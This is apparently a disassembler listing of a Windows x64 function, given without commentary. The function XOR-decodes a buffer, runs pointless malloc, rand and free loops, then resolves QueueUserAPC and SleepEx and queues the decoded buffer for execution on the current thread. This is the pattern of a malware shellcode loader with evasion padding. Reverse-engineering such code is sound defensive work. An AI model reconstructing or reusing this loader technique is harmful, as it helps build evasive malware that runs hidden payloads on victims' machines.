mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x838], 1
mov ecx, 0x6e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov ecx, 0x6e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov ecx, 0x6e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov ecx, 0x6e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x82c], 0x1b8
mov dword [rbp + 0x830], 0
jmp 0x140002a84
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x830]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x660]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x830]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x658]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x1b8
jle 0x1400029f1
mov dword [rbp + 0x830], 0
jmp 0x140002b23
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x660]
add rax, rdx
mov edx, dword [rbp + 0x830]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x650]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
mov edx, dword [rbp + 0x830]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x648]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x82c], 1
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x1b8
jle 0x140002aa3
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x840], 1
cmp dword [rbp + 0x840], 0x50e
jle 0x140002818
mov dword [rbp + 0x828], 0xffffffff
mov ecx, 0xdb0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov ecx, 0xdb0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
add dword [rbp + 0x828], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x690]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x828]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x688]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003e00
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x828], 0x1b4
jle 0x140002bb2
mov rax, qword [rbp + 0x6a0]
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x818]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x818]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x680]
mov r9, qword [rbp + 0x678]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x670]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x8a0]
add rsp, 0x938
pop rbx
pop rsi
pop rdi
pop rbp
ret